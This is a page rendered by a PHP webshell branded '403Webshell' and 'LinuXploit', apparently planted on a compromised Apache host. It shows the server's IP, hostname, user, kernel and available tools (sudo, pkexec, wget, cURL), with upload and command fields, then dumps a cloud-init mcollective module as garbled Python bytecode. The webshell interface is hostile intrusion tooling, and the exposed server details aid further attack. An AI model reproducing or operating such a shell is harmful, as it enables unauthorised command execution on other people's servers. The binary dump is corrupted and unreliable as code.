403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_mcollective.cpython-36.pyc
3

��b>�@sndZddlZddlZddlmZddlmZddlmZm	Z	dZ
dZdZej
e�Zee
efd	d
�Zdd�ZdS)
a"
Mcollective
-----------
**Summary:** install, configure and start mcollective

This module installs, configures and starts mcollective. If the ``mcollective``
key is present in config, then mcollective will be installed and started.

Configuration for ``mcollective`` can be specified in the ``conf`` key under
``mcollective``. Each config value consists of a key value pair and will be
written to ``/etc/mcollective/server.cfg``. The ``public-cert`` and
``private-cert`` keys, if present in conf may be used to specify the public and
private certificates for mcollective. Their values will be written to
``/etc/mcollective/ssl/server-public.pem`` and
``/etc/mcollective/ssl/server-private.pem``.

.. note::
    The ec2 metadata service is readable by non-root users.
    If security is a concern, use include-once and ssl urls.

**Internal name:** ``cc_mcollective``

**Module frequency:** per instance

**Supported distros:** all

**Config keys**::

    mcollective:
        conf:
            <key>: <value>
            public-cert: |
                -------BEGIN CERTIFICATE--------
                <cert data>
                -------END CERTIFICATE--------
            private-cert: |
                -------BEGIN CERTIFICATE--------
                <cert data>
                -------END CERTIFICATE--------
�N)�	ConfigObj)�log)�subp�utilz&/etc/mcollective/ssl/server-public.pemz'/etc/mcollective/ssl/server-private.pemz/etc/mcollective/server.cfgc!Cs�y"tj|ddd�}ttj|��}WnDtk
rf}z(|jtjkrD�ntj	d|�t�}WYdd}~XnXx�|j
�D]�\}}|dkr�tj||dd�||d<d|d	<qr|d
kr�tj||dd�||d<d|d	<qrt|t
�r�|||<qrt|t��r(||jk�ri||<x0|j
�D]\}	}
|
|||	<�qWqrt
|�||<qrWytj|d
|�Wn6tk
�r�}z|jtjk�rpn�WYdd}~XnXtj�}|j|�tj||j�dd�dS)NF)�quiet�decodez4Did not find file %s (starting with an empty config)zpublic-certi�)�modezplugin.ssl_server_publicZsslZsecurityproviderzprivate-certi�zplugin.ssl_server_privatez%s.old)rZ	load_filer�io�BytesIO�IOError�errno�ENOENT�LOG�debug�itemsZ
write_file�
isinstance�str�dictZsections�copy�write�getvalue)�configZ
server_cfgZpubcert_fileZpricert_fileZold_contentsZmcollective_config�eZcfg_name�cfg�o�v�contents�r�$/usr/lib/python3.6/cc_mcollective.py�	configureDsH




rcCsZd|kr|jd|�dS|d}|jjd	�d|krBt|dd�tjdddgdd�dS)
N�mcollectivez?Skipping module named %s, no 'mcollective' key in configurationZconf)rZserviceZrestartF)Zcapture)r )rZdistroZinstall_packagesrr)�namerZcloudrZ_argsZmcollective_cfgrrr�handle�sr")�__doc__rr	Z	configobjrZ	cloudinitrZloggingrrZPUBCERT_FILEZPRICERT_FILEZ
SERVER_CFGZ	getLogger�__name__rrr"rrrr�<module>1s
9

Youez - 2016 - github.com/yon3zu
LinuXploit